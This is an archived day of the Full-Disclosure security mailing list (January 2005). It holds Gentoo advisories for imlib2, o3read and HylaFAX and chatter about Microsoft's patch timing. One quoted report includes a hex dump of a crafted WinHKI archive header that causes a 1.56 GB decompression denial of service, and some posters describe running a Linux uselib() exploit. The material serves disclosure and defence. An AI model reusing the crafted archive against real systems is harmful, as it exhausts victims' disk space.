  [5] ftp://ftp.openpkg.org/release/2.2/UPD/perl-5.8.5-2.2.1.src.rpm
  [6] ftp://ftp.openpkg.org/release/2.1/UPD/perl-5.8.4-2.1.1.src.rpm
  [7] ftp://ftp.openpkg.org/release/2.2/UPD/
  [8] ftp://ftp.openpkg.org/release/2.1/UPD/
  [9] http://www.openpkg.org/security.html#signature
________________________________________________________________________

For security reasons, this advisory was digitally signed with the
OpenPGP public key "OpenPKG <openpkg at openpkg.org>" (ID 63C4CB9F) of the
OpenPKG project which you can retrieve from http://pgp.openpkg.org and
hkp://pgp.openpkg.org. Follow the instructions on http://pgp.openpkg.org/
for details on how to verify the integrity of this advisory.
________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Comment: OpenPKG <openpkg at openpkg.org>

iD8DBQFB4+wMgHWT4GPEy58RAmB8AJ9RXjXuF4foXhhDAvR4KRRJ31dUBwCg6pRb
TZQ44p6zfBdfieRvvcf3QLo=
=CkBO
-----END PGP SIGNATURE-----


From mike_diack at hotmail.com  Tue Jan 11 15:13:45 2005
From: mike_diack at hotmail.com (Mike Diack)
Date: Tue, 11 Jan 2005 15:13:45 -0000
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
Message-ID: <BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>

Where are they?
Mike


From krispykringle at gentoo.org  Tue Jan 11 15:38:31 2005
From: krispykringle at gentoo.org (Dan Margolis)
Date: Tue, 11 Jan 2005 10:38:31 -0500
Subject: [Full-Disclosure] [ GLSA 200501-19 ] imlib2: Buffer overflows in
	image decoding
Message-ID: <20050111153831.GA21117@specialk>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-19
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: imlib2: Buffer overflows in image decoding
      Date: January 11, 2005
      Bugs: #77002
        ID: 200501-19

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple overflows have been found in the imlib2 library image decoding
routines, potentially allowing the execution of arbitrary code.

Background
==========

imlib2 is an advanced replacement for image manipulation libraries such
as libXpm. It is utilized by numerous programs, including gkrellm and
several window managers, to display images.

Affected packages
=================

    -------------------------------------------------------------------
     Package            /  Vulnerable  /                    Unaffected
    -------------------------------------------------------------------
  1  media-libs/imlib2       < 1.2.0                          >= 1.2.0

Description
===========

Pavel Kankovsky discovered that several buffer overflows found in the
libXpm library (see GLSA 200409-34) also apply to imlib (see GLSA
200412-03) and imlib2. He also fixed a number of other potential
security vulnerabilities.

Impact
======

A remote attacker could entice a user to view a carefully-crafted image
file, which would potentially lead to the execution of arbitrary code
with the rights of the user viewing the image. This affects any program
that utilizes of the imlib2 library.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All imlib2 users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-libs/imlib2-1.2.0"

References
==========

  [ 1 ] CAN-2004-1026
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026
  [ 2 ] GLSA 200412-03
        http://security.gentoo.org/glsa/glsa-200412-03.xml

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-19.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 481 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/da687583/attachment.bin 

From rivgi at finjan.com  Tue Jan 11 15:44:40 2005
From: rivgi at finjan.com (Rafel Ivgi)
Date: Tue, 11 Jan 2005 17:44:40 +0200
Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB
References: <20050108092930.73686.qmail@web20222.mail.yahoo.com>
Message-ID: <025c01c4f7f4$769b32e0$de03a8c0@Finjan.co.il>

The original file wasn't a 1.56 with null that were compressed, it was a 
smal file with 1024 FF's which was extracted to a
1.56 of nulls...that is not obvious, that is a bug.

Rafel Ivgi
Security Consultant

----- Original Message ----- 
From: "bipin gautam" <visitbipin at yahoo.com>
To: <full-disclosure at lists.netsys.com>
Sent: Saturday, January 08, 2005 11:29 AM
Subject: Re: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB


> that's obvious isn't it... say... if you create a few
> GB file with null characters, 0X00 and compress
> it...... that will produce a similar result. such
> issue is known for any file compress utility for ages.
>
>
> any... software will do the same! try it. and THAT'S
> OBVIOUS!
> --- "Rafel Ivgi, The-Insider" <theinsider at 012.net.il>
> wrote:
>
>>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
>> Application:    WinHKI
>> Vendors:        http://www.webtoolmaster.com
>> Versions:       1.4d
>> Platforms:      Windows
>> Bug:            ARC File Extraction of 1KB to 1.56GB
>> Exploitation:   Local (extract file)
>> Date:           24 Dec 2004
>> Author:         Rafel Ivgi, The-Insider
>> E-Mail:         the_insider at mail.com
>> Website:        http://theinsider.deep-ice.com
>>
>>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
>> 1) Introduction
>> 2) Bugs
>> 3) The Code
>>
>>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
>> ===============
>> 1) Introduction
>> ===============
>>
>> WinHKI is a file archiever which supports: ARC, BH,
>> CAB, HKI, JAR, LHA,TAR,
>>
>> GZ compressions.
>>
>>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
>> ======
>> 2) Bug
>> ======
>>
>> This is a normal CAB compressed file header
>>
>> 00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B
>> ..251.HTM.^^^^^.
>> 00000010 0000 0078 3139 73B5 121B 0000 003C 7363
>> ...x19s......<sc
>> 00000020 7269 7074 FB3E 616C 6572 7428 293C 2F73
>> ript.>alert()</s
>> 00000030 6372 6970 743E 0D0A 1A00
>> cript>....
>>
>> By adding after the filename header a certain amount
>> of chars
>> and replacing all nulls (00) with FF (in order to
>> avoid our
>> long string from being terminated)
>>
>> 00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF
>> ..251.HTM.^^^^^.
>> 00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
>> ................
>> 00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B
>> ................
>> 00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363
>> ...x19s......<sc
>> 00000420 7269 7074 FB3E 616C 6572 7428 293C 2F73
>> ript.>alert()</s
>> 00000430 6372 6970 743E 0D0A 1A00
>> cript>....
>>
>>
>> HKI will create a 1.56 GIGA BYTE file on at the
>> selected extract location.
>>
>>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
>> ===========
>> 3) The Code
>> ===========
>>
>> An online proof of concept can be found at:
>> http://theinsider.deep-ice.com/hki156gb.ARC
>>
>>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
>> ---
>> Rafel Ivgi, The-Insider
>> http://theinsider.deep-ice.com
>>
>> "Scripts and Codes will make me D.O.S , but they
>> will never HACK me."
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter:
>> http://lists.netsys.com/full-disclosure-charter.html
>>
>
>
>
>
> __________________________________
> Do you Yahoo!?
> Yahoo! Mail - Easier than ever with enhanced search. Learn more.
> http://info.mail.yahoo.com/mail_250
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html 


-----------------------------------------------
This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm)



From james.greenhalgh at worldpay.com  Tue Jan 11 15:47:09 2005
From: james.greenhalgh at worldpay.com (James Greenhalgh)
Date: Tue, 11 Jan 2005 15:47:09 +0000
Subject: [Full-Disclosure] Firespoofing [Firefox 1.0]
In-Reply-To: <FBF77CAA2771D31188580008C79182F213CBD072@usphlx16.phl.sap.corp>
References: <FBF77CAA2771D31188580008C79182F213CBD072@usphlx16.phl.sap.corp>
Message-ID: <41E3F4FD.30609@worldpay.com>

Soderland, Craig wrote:
> This does not work if you are using the FireFox 1.0 tabbed browsing
> feature, as your pop up window simply opens a new tab, and it then
> becomes immediately obvious what you are trying to pull off here. 

It also doesn't work on non-Windows or with non-default colours.

Really - this is more a window management thing surely?  If someone fell 
for this, they'd deserve it to be honest.


From ostiguy at gmail.com  Tue Jan 11 16:06:41 2005
From: ostiguy at gmail.com (Matt Ostiguy)
Date: Tue, 11 Jan 2005 11:06:41 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
In-Reply-To: <BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
Message-ID: <3dc922c3050111080661091890@mail.gmail.com>

On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack <mike_diack at hotmail.com> wrote:
> Where are they?
> Mike
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

My experience has been that the 2nd tuesday of the month patch drop
occurs late in the day or evening, Eastern Standard Time.

Matt


From dragon at dragons.org.uk  Tue Jan 11 16:07:21 2005
From: dragon at dragons.org.uk (Gaz Wilson)
Date: Tue, 11 Jan 2005 16:07:21 +0000 (GMT)
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <20050111142052.GC968@miggy.org>
References: <888c2d720501102356552821df@mail.gmail.com>
	<20050111142052.GC968@miggy.org>
Message-ID: <Pine.LNX.4.58.0501111557140.6414@redclaw.org.uk>

On Tue, 11 Jan 2005, Athanasius wrote:

> On Tue, Jan 11, 2005 at 07:56:32AM +0000, Marcy Darcy wrote:
> > I'm running a small server with the 2.6.10 kernel.
> >
> > The exploit doesen't seem to be working on this kernel. Is there a way
> > to make sure the sistem is vulnerable or not?
>
>   I couldn't get the exploit to work for 2.6.10 either.  First there's
> changing a struct in it to user_desc to make it compile, then it just
> SEGVs all the time here.

I get it compiled and running on 2.6.8, but it doesn't do anything, other
than hog all available CPU for about 10-15 minutes followed by:

[-] FAILED: try again (-f switch) and again (Cannot allocate memory)
Killed

The same thing happens with the -f switch, except the process gets stopped
(SIGSTOP) instead of killed after the alloted time.

-- 
   /           Gary Wilson, aka dragon/dragonlord/dragonv480            \
 .'(_.------.  e: dragon at northernscum.org.uk MSN: dragonv480   .------._)`.
<   _       |  Skype:dragonv480 ICQ:342070475 AIM:dragonv480   |       _   >
 `.( `------'     w: http://volvo480.northernscum.org.uk       `------' ).'
   \                w: http://www.northernscum.org.uk                   /


From var at deny-all.com  Tue Jan 11 16:11:17 2005
From: var at deny-all.com (Vincent Archer)
Date: Tue, 11 Jan 2005 17:11:17 +0100
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
In-Reply-To: <BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
Message-ID: <20050111161117.GJ214@DAPCVA.da>

On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
> Where are they?
> Mike

Thursday usually, not tuesday?

-- 
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com



From koon at gentoo.org  Tue Jan 11 16:14:40 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Tue, 11 Jan 2005 17:14:40 +0100
Subject: [Full-Disclosure] [ GLSA 200501-20 ] o3read: Buffer overflow during
	file conversion
Message-ID: <41E3FB70.3010404@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-20
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: o3read: Buffer overflow during file conversion
      Date: January 11, 2005
      Bugs: #74478
        ID: 200501-20

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A buffer overflow in o3read allows an attacker to execute arbitrary
code by way of a specially crafted XML file.

Background
==========

o3read is a standalone converter for OpenOffice.org files. It allows a
user to dump the contents tree (o3read) and convert to plain text
(o3totxt) or to HTML (o3tohtml) Writer and Calc files.

Affected packages
=================

    -------------------------------------------------------------------
     Package          /  Vulnerable  /                      Unaffected
    -------------------------------------------------------------------
  1  app-text/o3read      <= 0.0.3                            >= 0.0.4

Description
===========

Wiktor Kopec discovered that the parse_html function in o3read.c copies
any number of bytes into a 1024-byte t[] array.

Impact
======

Using a specially crafted file, possibly delivered by e-mail or over
the Web, an attacker may execute arbitrary code with the permissions of
the user running o3read.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All o3read users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/o3read-0.0.4"

References
==========

  [ 1 ] CAN-2004-1288
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1288
  [ 2 ] Wiktor Kopec advisory
        http://tigger.uic.edu/~jlongs2/holes/o3read.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-20.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/0e333f63/attachment.bin 

From koon at gentoo.org  Tue Jan 11 16:34:44 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Tue, 11 Jan 2005 17:34:44 +0100
Subject: [Full-Disclosure] [ GLSA 200501-21 ] HylaFAX: hfaxd unauthorized
	login vulnerability
Message-ID: <41E40024.50504@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-21
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: HylaFAX: hfaxd unauthorized login vulnerability
      Date: January 11, 2005
      Bugs: #75941
        ID: 200501-21

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

HylaFAX is subject to a vulnerability in its username matching code,
potentially allowing remote users to bypass access control lists.

Background
==========

HylaFAX is a software package for sending and receiving facsimile
messages.

Affected packages
=================

    -------------------------------------------------------------------
     Package           /  Vulnerable  /                     Unaffected
    -------------------------------------------------------------------
  1  net-misc/hylafax     < 4.2.0-r2                       >= 4.2.0-r2

Description
===========

The code used by hfaxd to match a given username and hostname with an
entry in the hosts.hfaxd file is insufficiently protected against
malicious entries.

Impact
======

If the HylaFAX installation uses a weak hosts.hfaxd file, a remote
attacker could authenticate using a malicious username or hostname and
bypass the intended access restrictions.

Workaround
==========

As a workaround, administrators may consider adding passwords to all
entries in the hosts.hfaxd file.

Resolution
==========

All HylaFAX users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-misc/hylafax-4.2.0-r2"

Note: Due to heightened security, weak entries in the hosts.hfaxd file
may no longer work. Please see the HylaFAX documentation for details of
accepted syntax in the hosts.hfaxd file.

References
==========

  [ 1 ] CAN-2004-1182
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1182
  [ 2 ] HylaFAX Announcement
        http://marc.theaimsgroup.com/?l=hylafax&m=110545119911558&w=2

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-21.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/8ba1ec71/attachment.bin 

From vh at helith.net  Tue Jan 11 16:38:09 2005
From: vh at helith.net (vh)
Date: Tue, 11 Jan 2005 17:38:09 +0100
Subject: [Full-Disclosure] I thought Microsoft were releasing new
	security patches today (11 Jan 2005)?
In-Reply-To: <BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
Message-ID: <20050111173809.33d430b8.vh@helith.net>

On Tue, 11 Jan 2005 15:13:45 -0000
"Mike Diack" <mike_diack at hotmail.com> wrote:

> Where are they?
> Mike

Start using OpenSource-OSs then you would be able to write the patches
yourself if nobody cares for the security-holes.
Microsoft don't care for ANY guy who buy an MS-OS if this guy is no CEO
or any other person of any big company.

Don't count the patches...
Count the security holes they didn't patched.


vH
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/a38be3d2/attachment.bin 

From Mark.Handy at morganstanley.com  Tue Jan 11 16:42:56 2005
From: Mark.Handy at morganstanley.com (Handy, Mark (IT))
Date: Tue, 11 Jan 2005 11:42:56 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new
	securitypatches today (11 Jan 2005)?
Message-ID: <627CD97A87B56C4BA6EB3FF91912090E02D55D44@NYWEXMB27.msad.ms.com>

It is Tuesday.

As mentioned before, mid-afternoon EST 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Vincent
Archer
Sent: 11 January 2005 11:11
To: Mike Diack
Cc: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new
securitypatches today (11 Jan 2005)?

On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
> Where are they?
> Mike

Thursday usually, not tuesday?

--
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html 
--------------------------------------------------------
 
NOTICE: If received in error, please destroy and notify sender.  Sender does not waive confidentiality or privilege, and use is prohibited. 
 



From larry at larryseltzer.com  Tue Jan 11 16:49:52 2005
From: larry at larryseltzer.com (Larry Seltzer)
Date: Tue, 11 Jan 2005 11:49:52 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new
	securitypatches today (11 Jan 2005)?
In-Reply-To: <20050111161117.GJ214@DAPCVA.da>
Message-ID: <200501111649.j0BGnrrs000271@lists.netsys.com>

Tuesday, 1PM eastern



From nocmonkey at gmail.com  Tue Jan 11 16:50:53 2005
From: nocmonkey at gmail.com (Danny)
Date: Tue, 11 Jan 2005 11:50:53 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
In-Reply-To: <BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
Message-ID: <addc34c605011108506aeecd22@mail.gmail.com>

On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack <mike_diack at hotmail.com> wrote:
> Where are they?

They are probably patching their patch release system. :)

Expect them in a couple of hours. Patience grasshopper, patience...

...D


From pwicks at oxygen.com  Tue Jan 11 16:55:41 2005
From: pwicks at oxygen.com (James Patterson Wicks)
Date: Tue, 11 Jan 2005 11:55:41 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new
	security patches today (11 Jan 2005)?
Message-ID: <3AF76382C31760418AF0FBFD84F71403664C8B@MI8NYCMAIL07.Mi8.com>

It's just 8:55 on the West Coast.  Let Bill get a cup of coffee and
check his email first!  :)


-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Vincent
Archer
Sent: Tuesday, January 11, 2005 11:11 AM
To: Mike Diack
Cc: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new
security patches today (11 Jan 2005)?

On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
> Where are they?
> Mike

Thursday usually, not tuesday?

-- 
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


This e-mail is the property of Oxygen Media, LLC.  It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail.





From pwicks at oxygen.com  Tue Jan 11 17:11:42 2005
From: pwicks at oxygen.com (James Patterson Wicks)
Date: Tue, 11 Jan 2005 12:11:42 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new
	security patches today (11 Jan 2005)?
Message-ID: <3AF76382C31760418AF0FBFD84F71403664CA8@MI8NYCMAIL07.Mi8.com>

The updates are scheduled to come out today. 

>From Microsoft:
http://www.microsoft.com/technet/security/bulletin/advance.mspx


	Microsoft Security Bulletin Advance Notification
	On January 11, 2005, the Microsoft Security Response Center is
planning to release:

	*
	 3 Microsoft Security Bulletins affecting Microsoft Windows. The
greatest maximum severity rating for these security updates is
Critical. These security updates may require a restart.
 

	No additional details about bulletin severities or
vulnerabilities 	will be made available until January 11, 2005.


If you have Windows in your environment, you should subscribe to the
advanced notification service.  Helps you plan for downtime.






-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
